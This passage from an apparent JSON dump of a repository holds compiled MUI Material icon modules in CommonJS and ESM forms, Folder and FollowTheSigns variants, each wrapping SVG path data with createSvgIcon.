    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.17 8-.59-.59L9.17 6H4v12h16V8zM19 16v1h-8v-1c0-1.33 2.67-2 4-2s4 .67 4 2m-4-7c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-5-5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-4 3v1h8v-1c0-1.33-2.67-2-4-2s-4 .67-4 2\"\n}, \"1\")], 'FolderSharedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSharedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.17 8-.59-.59L9.17 6H4v12h16V8zM19 16v1h-8v-1c0-1.33 2.67-2 4-2s4 .67 4 2m-4-7c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-5-5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-4 3v1h8v-1c0-1.33-2.67-2-4-2s-4 .67-4 2\"\n}, \"1\")], 'FolderSharedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4H2v16h20V6H12z\"\n}), 'FolderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4H2v16h20V6H12z\"\n}), 'FolderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSpecial.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-2.06 11L15 15.28 12.06 17l.78-3.33-2.59-2.24 3.41-.29L15 8l1.34 3.14 3.41.29-2.59 2.24z\"\n}), 'FolderSpecial');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSpecial.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-2.06 11L15 15.28 12.06 17l.78-3.33-2.59-2.24 3.41-.29L15 8l1.34 3.14 3.41.29-2.59 2.24z\"\n}), 'FolderSpecial');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSpecialOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-6.92-3.96L12.39 17 15 15.47 17.61 17l-.69-2.96 2.3-1.99-3.03-.26L15 9l-1.19 2.79-3.03.26z\"\n}), 'FolderSpecialOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSpecialOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-6.92-3.96L12.39 17 15 15.47 17.61 17l-.69-2.96 2.3-1.99-3.03-.26L15 9l-1.19 2.79-3.03.26z\"\n}), 'FolderSpecialOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSpecialRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-3.06 10.41L15 15.28l-1.94 1.13c-.38.22-.84-.12-.74-.55l.51-2.2-1.69-1.46c-.33-.29-.16-.84.28-.88l2.23-.19.88-2.06c.17-.4.75-.4.92 0l.88 2.06 2.23.19c.44.04.62.59.28.88l-1.69 1.46.51 2.2c.11.43-.35.77-.72.55\"\n}), 'FolderSpecialRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSpecialRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-3.06 10.41L15 15.28l-1.94 1.13c-.38.22-.84-.12-.74-.55l.51-2.2-1.69-1.46c-.33-.29-.16-.84.28-.88l2.23-.19.88-2.06c.17-.4.75-.4.92 0l.88 2.06 2.23.19c.44.04.62.59.28.88l-1.69 1.46.51 2.2c.11.43-.35.77-.72.55\"\n}), 'FolderSpecialRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSpecialSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zm-4.06 11L15 15.28 12.06 17l.78-3.33-2.59-2.24 3.41-.29L15 8l1.34 3.14 3.41.29-2.59 2.24z\"\n}), 'FolderSpecialSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSpecialSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zm-4.06 11L15 15.28 12.06 17l.78-3.33-2.59-2.24 3.41-.29L15 8l1.34 3.14 3.41.29-2.59 2.24z\"\n}), 'FolderSpecialSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSpecialTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.17 8-2-2H4v12h16V8zM15 9l1.19 2.79 3.03.26-2.3 1.99.69 2.96L15 15.47 12.39 17l.69-2.96-2.3-1.99 3.03-.26z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-6.92-3.96L12.39 17 15 15.47 17.61 17l-.69-2.96 2.3-1.99-3.03-.26L15 9l-1.19 2.79-3.03.26z\"\n}, \"1\")], 'FolderSpecialTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSpecialTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.17 8-2-2H4v12h16V8zM15 9l1.19 2.79 3.03.26-2.3 1.99.69 2.96L15 15.47 12.39 17l.69-2.96-2.3-1.99 3.03-.26z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-6.92-3.96L12.39 17 15 15.47 17.61 17l-.69-2.96 2.3-1.99-3.03-.26L15 9l-1.19 2.79-3.03.26z\"\n}, \"1\")], 'FolderSpecialTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.17 8-.58-.59L9.17 6H4v12h16V8h-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l1.41 1.41.59.59H20z\"\n}, \"1\")], 'FolderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.17 8-.58-.59L9.17 6H4v12h16V8h-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l1.41 1.41.59.59H20z\"\n}, \"1\")], 'FolderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderZip.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-2 6h-2v2h2v2h-2v2h-2v-2h2v-2h-2v-2h2v-2h-2V8h2v2h2z\"\n}), 'FolderZip');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderZip.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-2 6h-2v2h2v2h-2v2h-2v-2h2v-2h-2v-2h2v-2h-2V8h2v2h2z\"\n}), 'FolderZip');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderZipOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-4 10h2v-2h-2v-2h2v-2h-2V8h4v10h-4zm0 0h-2v2H4V6h5.17l2 2H14v2h2v2h-2v2h2z\"\n}), 'FolderZipOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderZipOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-4 10h2v-2h-2v-2h2v-2h-2V8h4v10h-4zm0 0h-2v2H4V6h5.17l2 2H14v2h2v2h-2v2h2z\"\n}), 'FolderZipOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderZipRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-2 6h-2v2h2v2h-2v2h-2v-2h2v-2h-2v-2h2v-2h-2V8h2v2h2z\"\n}), 'FolderZipRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderZipRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-2 6h-2v2h2v2h-2v2h-2v-2h2v-2h-2v-2h2v-2h-2V8h2v2h2z\"\n}), 'FolderZipRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderZipSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 6-2-2H2v16h20V6zm6 6h-2v2h2v2h-2v2h-2v-2h2v-2h-2v-2h2v-2h-2V8h2v2h2z\"\n}), 'FolderZipSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderZipSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 6-2-2H2v16h20V6zm6 6h-2v2h2v2h-2v2h-2v-2h2v-2h-2v-2h2v-2h-2V8h2v2h2z\"\n}), 'FolderZipSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderZipTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 16h2v-2h-2v-2h2v-2h-2V8h4v10h-4zm0 0h-2v2H4V6h5.17l2 2H14v2h2v2h-2v2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-4 10h2v-2h-2v-2h2v-2h-2V8h4v10h-4zm0 0h-2v2H4V6h5.17l2 2H14v2h2v2h-2v2h2z\"\n}, \"1\")], 'FolderZipTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderZipTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 16h2v-2h-2v-2h2v-2h-2V8h4v10h-4zm0 0h-2v2H4V6h5.17l2 2H14v2h2v2h-2v2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-4 10h2v-2h-2v-2h2v-2h-2V8h4v10h-4zm0 0h-2v2H4V6h5.17l2 2H14v2h2v2h-2v2h2z\"\n}, \"1\")], 'FolderZipTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FollowTheSigns.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4l.6-3C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65zM13 2v7h3.75v14h1.5V9H22V2zm5.01 6V6.25H14.5v-1.5h3.51V3l2.49 2.5z\"\n}), 'FollowTheSigns');"
  },
  {
    "path": "packages/mui-icons-material/lib/FollowTheSigns.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4l.6-3C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65zM13 2v7h3.75v14h1.5V9H22V2zm5.01 6V6.25H14.5v-1.5h3.51V3l2.49 2.5z\"\n}), 'FollowTheSigns');"
  },
  {
    "path": "packages/mui-icons-material/lib/FollowTheSignsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4l.6-3C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65zM13 2v7h3.75v14h1.5V9H22V2zm5.01 6V6.25H14.5v-1.5h3.51V3l2.49 2.5z\"\n}), 'FollowTheSignsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FollowTheSignsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4l.6-3C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65zM13 2v7h3.75v14h1.5V9H22V2zm5.01 6V6.25H14.5v-1.5h3.51V3l2.49 2.5z\"\n}), 'FollowTheSignsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FollowTheSignsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3.23 21.81c-.12.62.35 1.19.98 1.19h.09c.47 0 .88-.33.98-.79L6.85 15 9 17v5c0 .55.45 1 1 1s1-.45 1-1v-6.14c0-.27-.11-.52-.29-.71L8.95 13.4l.6-3c1.07 1.32 2.58 2.23 4.31 2.51.6.1 1.14-.39 1.14-1 0-.49-.36-.9-.84-.98-1.49-.25-2.75-1.15-3.51-2.38l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15l-4.63 1.9c-.37.15-.62.52-.62.92V12c0 .55.45 1 1 1s1-.45 1-1V9.65zM21 2h-7c-.55 0-1 .45-1 1v5c0 .55.45 1 1 1h2.75v13.25c0 .41.34.75.75.75s.75-.34.75-.75V9H21c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1m-.85 3.85-1.28 1.29c-.31.32-.85.09-.85-.35v-.54h-2.76c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.76v-.54c0-.45.54-.67.85-.35l1.28 1.29c.19.19.19.51 0 .7\"\n}), 'FollowTheSignsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FollowTheSignsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3.23 21.81c-.12.62.35 1.19.98 1.19h.09c.47 0 .88-.33.98-.79L6.85 15 9 17v5c0 .55.45 1 1 1s1-.45 1-1v-6.14c0-.27-.11-.52-.29-.71L8.95 13.4l.6-3c1.07 1.32 2.58 2.23 4.31 2.51.6.1 1.14-.39 1.14-1 0-.49-.36-.9-.84-.98-1.49-.25-2.75-1.15-3.51-2.38l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15l-4.63 1.9c-.37.15-.62.52-.62.92V12c0 .55.45 1 1 1s1-.45 1-1V9.65zM21 2h-7c-.55 0-1 .45-1 1v5c0 .55.45 1 1 1h2.75v13.25c0 .41.34.75.75.75s.75-.34.75-.75V9H21c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1m-.85 3.85-1.28 1.29c-.31.32-.85.09-.85-.35v-.54h-2.76c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.76v-.54c0-.45.54-.67.85-.35l1.28 1.29c.19.19.19.51 0 .7\"\n}), 'FollowTheSignsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FollowTheSignsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4l.6-3C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65zM13 2v7h3.75v14h1.5V9H22V2zm5.01 6V6.25H14.5v-1.5h3.51V3l2.49 2.5z\"\n}), 'FollowTheSignsSharp');"
